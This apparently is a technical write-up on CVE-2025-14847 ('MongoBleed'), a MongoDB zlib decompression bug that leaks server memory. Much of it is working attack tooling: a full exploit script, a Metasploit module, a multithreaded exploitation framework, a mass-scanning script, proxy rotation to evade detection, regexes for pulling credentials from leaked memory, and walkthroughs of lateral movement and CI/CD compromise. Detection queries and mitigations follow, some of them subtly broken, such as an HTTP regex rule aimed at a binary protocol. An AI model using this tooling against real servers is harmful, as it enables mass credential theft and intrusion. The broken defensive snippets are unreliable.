Breaking MongoDB with MongoBleed: CVE-2025-14847 Deep Technical Analysis

// Vulnerable MongoDB zlib decompression handler (before fix)
// File: mongo/transport/message_compressor_zlib.cpp
StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
                                                              DataRange output) {
    uLongf length = output.length();  // Pre-allocated buffer size (client-claimed)
    int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
                           &length,  // zlib sets this to actual decompressed size via reference
                           reinterpret_cast<const Bytef*>(input.data()),
                           input.length());

    if (ret != Z_OK) {
        return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
    }

    counterHitDecompress(input.length(), output.length());

    // VULNERABLE: Returns output.length() instead of actual decompressed length
    // The 'length' variable is updated by uncompress() to the actual size,
    // but the function ignores it and returns the claimed buffer size
    // This causes server to process BSON using claimed size, reading uninitialized memory
    return {output.length()};  // BUG: Should return {length} (actual size set by uncompress)
}

# Crafted OP_COMPRESSED message with inflated size claim
def craft_exploit(doc_len, buffer_size):
    # Minimal BSON content
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content

    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size (LARGER than actual)
    payload += struct.pack('B', 2)  # zlib compression
    payload += compressed

    return payload

// Vulnerable decompression flow:
1. Client sends OP_COMPRESSED message with inflated uncompressed size claim
2. Server allocates buffer: output.length() = claimed_size (e.g., 1000 bytes)
3. Server calls ZlibMessageCompressor::decompressData()
4. zlib's uncompress() decompresses data and sets 'length' to actual size (e.g., 50 bytes)
5. BUG: Function returns output.length() (1000) instead of length (50)
6. Server processes BSON using returned size (1000 bytes)
7. Server reads 950 bytes beyond actual data into uninitialized memory
8. Leaked memory appears as BSON field names in error responses

# Default MongoDB configuration (vulnerable)
net:
  compression:
    compressors: snappy,zlib,zstd  # Compression enabled by default

# Scan for exposed MongoDB instances
nmap -p 27017 --script mongodb-info <target>

# Exploit vulnerable instance
python3 mongobleed.py --host <target> --port 27017

# Shodan search for exposed MongoDB
shodan search "MongoDB" port:27017

# Mass exploitation
for host in $(cat mongodb_hosts.txt); do
    python3 mongobleed.py --host $host --port 27017 --output leaks_$host.bin
done

# Lateral movement after initial compromise
python3 mongobleed.py --host internal-db.company.local --port 27017

// Exploiting misconfigured cloud MongoDB instances
// Many cloud providers expose MongoDB on public IPs by default

#!/usr/bin/env python3
"""
mongobleed.py - CVE-2025-14847 MongoDB Memory Leak Exploit

Author: Joe Desimone - x.com/dez_

Exploits zlib decompression bug to leak server memory via BSON field names.
Technique: Craft BSON with inflated doc_len, server reads field names from
leaked memory until null byte.
"""

import socket
import struct
import zlib
import re
import argparse

def send_probe(host, port, doc_len, buffer_size):
    """Send crafted BSON with inflated document length"""
    # Minimal BSON content - we lie about total length
    content = b'\x10a\x00\x01\x00\x00\x00'  # int32 a=1
    bson = struct.pack('<i', doc_len) + content

    # Wrap in OP_MSG
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # OP_COMPRESSED with inflated buffer size (triggers the bug)
    payload = struct.pack('<I', 2013)  # original opcode
    payload += struct.pack('<i', buffer_size)  # claimed uncompressed size
    payload += struct.pack('B', 2)  # zlib
    payload += compressed

    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)

    try:
        sock = socket.socket()
        sock.settimeout(2)
        sock.connect((host, port))
        sock.sendall(header + payload)

        response = b''
        while len(response) < 4 or len(response) < struct.unpack('<I', response[:4])[0]:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        return response
    except:
        return b''

def extract_leaks(response):
    """Extract leaked data from error response"""
    if len(response) < 25:
        return []

    try:
        msg_len = struct.unpack('<I', response[:4])[0]
        if struct.unpack('<I', response[12:16])[0] == 2012:
            raw = zlib.decompress(response[25:msg_len])
        else:
            raw = response[16:msg_len]
    except:
        return []

    leaks = []

    # Field names from BSON errors
    for match in re.finditer(rb"field name '([^']*)'", raw):
        data = match.group(1)
        if data and data not in [b'?', b'a', b'$db', b'ping']:
            leaks.append(data)

    # Type bytes from unrecognized type errors
    for match in re.finditer(rb"type (\d+)", raw):
        leaks.append(bytes([int(match.group(1)) & 0xFF]))

    return leaks

def main():
    parser = argparse.ArgumentParser(description='CVE-2025-14847 MongoDB Memory Leak')
    parser.add_argument('--host', default='localhost', help='Target host')
    parser.add_argument('--port', type=int, default=27017, help='Target port')
    parser.add_argument('--min-offset', type=int, default=20, help='Min doc length')
    parser.add_argument('--max-offset', type=int, default=8192, help='Max doc length')
    parser.add_argument('--output', default='leaked.bin', help='Output file')
    args = parser.parse_args()

    print(f"[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak")
    print(f"[*] Author: Joe Desimone - x.com/dez_")
    print(f"[*] Target: {args.host}:{args.port}")
    print(f"[*] Scanning offsets {args.min_offset}-{args.max_offset}")
    print()

    all_leaked = bytearray()
    unique_leaks = set()

    for doc_len in range(args.min_offset, args.max_offset):
        response = send_probe(args.host, args.port, doc_len, doc_len + 500)
        leaks = extract_leaks(response)

        for data in leaks:
            if data not in unique_leaks:
                unique_leaks.add(data)
                all_leaked.extend(data)

                # Show interesting leaks (> 10 bytes)
                if len(data) > 10:
                    preview = data[:80].decode('utf-8', errors='replace')
                    print(f"[+] offset={doc_len:4d} len={len(data):4d}: {preview}")

    # Save results
    with open(args.output, 'wb') as f:
        f.write(all_leaked)

    print()
    print(f"[*] Total leaked: {len(all_leaked)} bytes")
    print(f"[*] Unique fragments: {len(unique_leaks)}")
    print(f"[*] Saved to: {args.output}")

    # Show any secrets found
    secrets = [b'password', b'secret', b'key', b'token', b'admin', b'AKIA']
    for s in secrets:
        if s.lower() in all_leaked.lower():
            print(f"[!] Found pattern: {s.decode()}")

if __name__ == '__main__':
    main()

# Focus on specific memory regions likely to contain secrets
offsets = [1024, 2048, 4096, 8192, 16384]  # Common buffer sizes
for offset in offsets:
    response = send_probe(host, port, offset, offset + 1000)
    leaks = extract_leaks(response)
    analyze_for_secrets(leaks)

import re

def extract_credentials(leaked_data):
    """Extract potential credentials from leaked memory"""
    patterns = {
        'mongodb_uri': rb'mongodb://[^\s]+',
        'password': rb'password["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
        'api_key': rb'[Aa][Pp][Ii][_\-]?[Kk][Ee][Yy]["\']?\s*[:=]\s*["\']?([^"\'\s]+)',
        'jwt': rb'eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+',
        'aws_key': rb'AKIA[0-9A-Z]{16}',
    }

    credentials = {}
    for name, pattern in patterns.items():
        matches = re.findall(pattern, leaked_data)
        if matches:
            credentials[name] = matches

    return credentials

# Continuous scanning with secret detection
while True:
    for offset in range(20, 8192, 50):
        leaks = send_probe(host, port, offset, offset + 500)
        secrets = extract_credentials(leaks)
        if secrets:
            alert_and_save(secrets)
        time.sleep(0.1)  # Rate limiting

# Rotate through multiple source IPs
import random

proxies = ['proxy1:8080', 'proxy2:8080', 'proxy3:8080']
for offset in range(20, 8192):
    proxy = random.choice(proxies)
    response = send_probe_via_proxy(host, port, offset, proxy)

# Try different compression methods if zlib is filtered
compression_methods = {
    1: 'snappy',
    2: 'zlib',
    3: 'zstd'
}

for method_id, method_name in compression_methods.items():
    payload = craft_compressed_message(method_id, inflated_size)
    response = send_payload(host, port, payload)

# Attacker discovers exposed MongoDB instance
$ shodan search "MongoDB" port:27017 country:US
# Finds 15,000+ exposed instances

# Run MongoBleed against discovered targets
$ python3 mongobleed.py --host 192.0.2.100 --port 27017 --output leak_1.bin
[+] offset= 512 len=  45: admin_password=SuperSecret123!
[+] offset=1024 len=  32: AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
[+] offset=2048 len=  67: mongodb://admin:[email protected]:27017

# Automated credential extraction from leaked memory
leaked_data = open('leaked.bin', 'rb').read()

# Extract MongoDB connection strings
mongodb_uris = re.findall(rb'mongodb://[^\s\x00]+', leaked_data)
for uri in mongodb_uris:
    print(f"Found MongoDB URI: {uri.decode('utf-8', errors='ignore')}")
    # Attempt connection with discovered credentials
    test_connection(uri)

# Attacker uses leaked internal MongoDB URI for lateral movement
$ python3 mongobleed.py --host public-api.example.com --port 27017
[+] offset=4096 len=  89: mongodb://app_user:[email protected]:27017/production

# Attacker now targets internal database
$ mongo "mongodb://app_user:[email protected]:27017/production"

# Leaked API keys used to compromise CI/CD pipelines
leaked_keys = extract_api_keys(leaked_memory)
for key in leaked_keys:
    if test_github_token(key):
        # Compromise GitHub repositories
        clone_and_modify_repos(key)
    elif test_aws_key(key):
        # Access AWS resources
        enumerate_s3_buckets(key)

# MongoDB log entries showing compression errors
grep "compression" /var/log/mongodb/mongod.log | grep -i error

# Look for unusual OP_COMPRESSED message patterns
grep "OP_COMPRESSED" /var/log/mongodb/mongod.log | \
    awk '{print $1, $2, $NF}' | \
    sort | uniq -c | sort -rn

// MongoDB slow query log analysis
db.setProfilingLevel(2, { slowms: 100 });

// Query for compression-related errors
db.system.profile.find({
    "command.compression": { $exists: true },
    "errMsg": /field name/
}).sort({ ts: -1 }).limit(100);

# MongoDB monitoring script
from pymongo import MongoClient
import re

def monitor_compression_errors():
    client = MongoClient('mongodb://localhost:27017')
    logs = client.admin.command('getLog', 'global')

    suspicious_patterns = [
        r"field name '[^']{50,}'",  # Unusually long field names
        r"type \d+.*unrecognized",   # Type errors from leaked memory
        r"OP_COMPRESSED.*size.*\d{5,}"  # Large claimed sizes
    ]

    for line in logs['log']:
        for pattern in suspicious_patterns:
            if re.search(pattern, line):
                alert_security_team(line)
                return True
    return False

index=mongodb sourcetype=mongod
("OP_COMPRESSED" OR "compression") 
("field name" OR "unrecognized type")
| stats count by host, src_ip
| where count > 10

{
  "query": {
    "bool": {
      "must": [
        {
          "match": {
            "message": "OP_COMPRESSED"
          }
        },
        {
          "regexp": {
            "message": "field name '.{50,}'"
          }
        }
      ]
    }
  },
  "aggs": {
    "by_source_ip": {
      "terms": {
        "field": "source.ip.keyword",
        "size": 10
      }
    }
  }
}

# Capture and analyze MongoDB traffic
tcpdump -i any -w mongodb.pcap port 27017

# Analyze with Wireshark filters
# Filter: mongodb.opcode == 2012  # OP_COMPRESSED
# Look for messages with large uncompressed_size values

# Extract suspicious messages
tshark -r mongodb.pcap -Y "mongodb.opcode == 2012" \
    -T fields -e mongodb.uncompressed_size | \
    awk '$1 > 1000 {print "Suspicious size:", $1}'

# Test if compression is enabled
echo '{"isMaster": 1}' | \
    python3 -c "
import sys, json, socket, struct, zlib
data = sys.stdin.read().encode()
msg = struct.pack('<I', 0) + b'\x00' + data
compressed = zlib.compress(msg)
payload = struct.pack('<I', 2013) + struct.pack('<i', len(msg) + 1000) + \
          struct.pack('B', 2) + compressed
header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
s = socket.socket()
s.connect(('target', 27017))
s.sendall(header + payload)
response = s.recv(4096)
if b'field name' in response:
    print('VULNERABLE - Memory leak detected')
"

# Simple POC to verify vulnerability
import socket
import struct
import zlib

def test_mongobleed(host, port):
    # Craft exploit payload
    content = b'\x10a\x00\x01\x00\x00\x00'
    bson = struct.pack('<i', 100) + content  # Claim 100 bytes
    op_msg = struct.pack('<I', 0) + b'\x00' + bson
    compressed = zlib.compress(op_msg)

    # Inflate claimed size
    payload = struct.pack('<I', 2013)
    payload += struct.pack('<i', 1000)  # Claim 1000 bytes (much larger)
    payload += struct.pack('B', 2)
    payload += compressed

    header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)

    sock = socket.socket()
    sock.connect((host, port))
    sock.sendall(header + payload)
    response = sock.recv(4096)
    sock.close()

    # Check for leaked memory in error message
    if b"field name '" in response and len(response) > 100:
        leaked = response[response.find(b"field name '") + 12:]
        leaked = leaked[:leaked.find(b"'")]
        if len(leaked) > 20:  # Significant leak
            print(f"[!] VULNERABLE - Leaked {len(leaked)} bytes")
            print(f"    Sample: {leaked[:50]}")
            return True
    return False

if __name__ == '__main__':
    test_mongobleed('localhost', 27017)

# Mass scanning tool
#!/bin/bash
# mongobleed_scanner.sh

TARGETS_FILE="mongodb_targets.txt"
OUTPUT_DIR="leaks"

mkdir -p $OUTPUT_DIR

while IFS= read -r target; do
    host=$(echo $target | cut -d: -f1)
    port=$(echo $target | cut -d: -f2)
    output_file="$OUTPUT_DIR/leak_${host}_${port}.bin"

    echo "[*] Scanning $host:$port"
    python3 mongobleed.py --host $host --port $port --output $output_file

    if [ -s $output_file ]; then
        size=$(stat -f%z $output_file 2>/dev/null || stat -c%s $output_file)
        if [ $size -gt 100 ]; then
            echo "[!] LEAK DETECTED: $host:$port ($size bytes)"
        fi
    fi
done < $TARGETS_FILE

# burp_mongobleed.py - Burp Suite extension for MongoBleed
from burp import IBurpExtender, IHttpListener
import struct
import zlib

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("MongoBleed Scanner")
        callbacks.registerHttpListener(self)

    def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
        if not messageIsRequest:
            return

        request = messageInfo.getRequest()
        analyzed = self._helpers.analyzeRequest(request)

        # Check if this is MongoDB traffic
        if analyzed.getMethod() == "POST" and 27017 in analyzed.getUrl().getPort():
            # Craft MongoBleed payload
            payload = self.craft_mongobleed_payload()

            # Create new request with payload
            new_request = self._helpers.buildHttpMessage(
                analyzed.getHeaders(),
                payload
            )
            messageInfo.setRequest(new_request)

    def craft_mongobleed_payload(self):
        content = b'\x10a\x00\x01\x00\x00\x00'
        bson = struct.pack('<i', 100) + content
        op_msg = struct.pack('<I', 0) + b'\x00' + bson
        compressed = zlib.compress(op_msg)

        payload = struct.pack('<I', 2013)
        payload += struct.pack('<i', 1000)
        payload += struct.pack('B', 2)
        payload += compressed

        header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
        return header + payload

##
# MongoBleed Memory Disclosure Module
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MongoDB Memory Disclosure (MongoBleed)',
      'Description'    => %q{
        Exploits CVE-2025-14847 to leak memory from MongoDB servers
      },
      'Author'         => ['Joe Desimone'],
      'License'          => MSF_LICENSE,
      'References'     => [
        ['CVE', '2025-14847'],
        ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-14847']
      ],
      'DisclosureDate' => '2025-01-01'
    ))

    register_options([
      Opt::RPORT(27017),
      OptInt.new('MIN_OFFSET', [true, 'Minimum document length', 20]),
      OptInt.new('MAX_OFFSET', [true, 'Maximum document length', 8192])
    ])
  end

  def run
    connect

    print_status("Scanning #{rhost}:#{rport} for memory leaks...")

    (datastore['MIN_OFFSET']..datastore['MAX_OFFSET']).each do |offset|
      leak = exploit_offset(offset)
      if leak && leak.length > 20
        print_good("Leaked #{leak.length} bytes at offset #{offset}")
        print_line("  Sample: #{leak[0..50]}")
      end
    end

    disconnect
  end

  def exploit_offset(offset)
    # Craft exploit payload
    content = "\x10a\x00\x01\x00\x00\x00"
    bson = [offset].pack('<i') + content
    op_msg = [0].pack('<I') + "\x00" + bson
    compressed = Zlib::Deflate.deflate(op_msg)

    payload = [2013].pack('<I')
    payload += [offset + 500].pack('<i')
    payload += [2].pack('C')
    payload += compressed

    header = [16 + payload.length, 1, 0, 2012].pack('<IIII')

    sock.send(header + payload, 0)
    response = sock.recv(4096)

    # Extract leaked data
    if response =~ /field name '([^']+)'/
      return $1
    end

    nil
  end
end

# mongobleed_advanced.py - Advanced exploitation framework
import socket
import struct
import zlib
import threading
import queue
import re
from collections import defaultdict

class MongoBleedExploit:
    def __init__(self, host, port, threads=10):
        self.host = host
        self.port = port
        self.threads = threads
        self.leaks = queue.Queue()
        self.unique_leaks = set()

    def scan_range(self, min_offset=20, max_offset=8192):
        """Multi-threaded scanning"""
        work_queue = queue.Queue()
        for offset in range(min_offset, max_offset):
            work_queue.put(offset)

        threads = []
        for _ in range(self.threads):
            t = threading.Thread(target=self._worker, args=(work_queue,))
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

        return list(self.unique_leaks)

    def _worker(self, work_queue):
        """Worker thread for scanning"""
        while not work_queue.empty():
            try:
                offset = work_queue.get_nowait()
                leak = self.exploit_offset(offset)
                if leak and leak not in self.unique_leaks:
                    self.unique_leaks.add(leak)
                    self.leaks.put((offset, leak))
            except queue.Empty:
                break

    def exploit_offset(self, offset):
        """Exploit specific offset"""
        try:
            sock = socket.socket()
            sock.settimeout(2)
            sock.connect((self.host, self.port))

            content = b'\x10a\x00\x01\x00\x00\x00'
            bson = struct.pack('<i', offset) + content
            op_msg = struct.pack('<I', 0) + b'\x00' + bson
            compressed = zlib.compress(op_msg)

            payload = struct.pack('<I', 2013)
            payload += struct.pack('<i', offset + 500)
            payload += struct.pack('B', 2)
            payload += compressed

            header = struct.pack('<IIII', 16 + len(payload), 1, 0, 2012)
            sock.sendall(header + payload)

            response = sock.recv(4096)
            sock.close()

            # Extract leak
            match = re.search(rb"field name '([^']+)'", response)
            if match:
                return match.group(1)
        except:
            pass
        return None

if __name__ == '__main__':
    exploit = MongoBleedExploit('localhost', 27017, threads=20)
    leaks = exploit.scan_range(20, 8192)
    print(f"Found {len(leaks)} unique memory leaks")

# MongoDB configuration - disable compression
net:
  compression:
    compressors: []  # Disable all compressors

# Restart MongoDB after configuration change
sudo systemctl restart mongod

# MongoDB configuration - bind to localhost only
net:
  bindIp: 127.0.0.1  # Only allow local connections
  port: 27017

# Firewall rules to restrict access
# Allow only specific IPs
sudo ufw allow from 10.0.0.0/8 to any port 27017
sudo ufw deny 27017

# Or use iptables
sudo iptables -A INPUT -p tcp --dport 27017 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 27017 -j DROP

// Fixed code from mongo/transport/message_compressor_zlib.cpp
StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
                                                              DataRange output) {
    uLongf length = output.length();  // Initialize with buffer size
    int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
                           &length,  // zlib sets this to actual decompressed size via reference
                           reinterpret_cast<const Bytef*>(input.data()),
                           input.length());

    if (ret != Z_OK) {
        return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
    }

    counterHitDecompress(input.length(), output.length());

    // FIXED: Return actual decompressed length instead of output.length()
    // The 'length' variable is updated by uncompress() to reflect actual size
    return length;  // Returns actual decompressed size, not claimed size
}

# Ubuntu/Debian
sudo apt update
sudo apt install mongodb-org

# CentOS/RHEL
sudo yum update mongodb-org

# Verify version
mongod --version

# Check if compression is still needed
# If yes, ensure you're on a patched version

# Nginx reverse proxy with MongoDB protection
upstream mongodb_backend {
    server 127.0.0.1:27017;
}

server {
    listen 27017;

    # Block suspicious compression requests
    if ($request_body ~ "OP_COMPRESSED.*\d{5,}") {
        return 403;
    }

    proxy_pass http://mongodb_backend;
}

# MongoDB connection wrapper with validation
from pymongo import MongoClient
import struct

class SecureMongoClient:
    def __init__(self, uri):
        self.client = MongoClient(uri)
        # Monitor for compression-related errors
        self.setup_monitoring()

    def setup_monitoring(self):
        # Enable profiling to detect exploitation attempts
        self.client.admin.command({
            'setParameter': 1,
            'logLevel': 2  # Increased logging
        })

# Secure MongoDB configuration
net:
  bindIp: 127.0.0.1  # Or specific internal IPs
  port: 27017
  compression:
    compressors: []  # Disable if not needed
    # OR use only on patched versions:
    # compressors: snappy,zlib,zstd

security:
  authorization: enabled  # Require authentication

setParameter:
  enableLocalhostAuthBypass: false

// Require authentication for all connections
use admin
db.createUser({
  user: "admin",
  pwd: "strong_password",
  roles: [ { role: "root", db: "admin" } ]
})

// Enable authentication
// In mongod.conf:
security:
  authorization: enabled

# ModSecurity rules for MongoDB protection
SecRule REQUEST_BODY "@rx OP_COMPRESSED.*\d{5,}" \
    "id:1001,phase:2,deny,status:403,msg:'MongoBleed exploitation attempt'"

SecRule REQUEST_BODY "@rx field name '.{50,}'" \
    "id:1002,phase:2,deny,status:403,msg:'Suspicious MongoDB field name'"

# Python middleware to detect MongoBleed attempts
def mongobleed_detector(request_data):
    """Detect potential MongoBleed exploitation attempts"""
    suspicious_patterns = [
        b'OP_COMPRESSED',
        b'field name',
        struct.pack('<i', 10000),  # Large claimed sizes
    ]

    for pattern in suspicious_patterns:
        if pattern in request_data:
            log_security_event('mongobleed_attempt', request_data)
            return True
    return False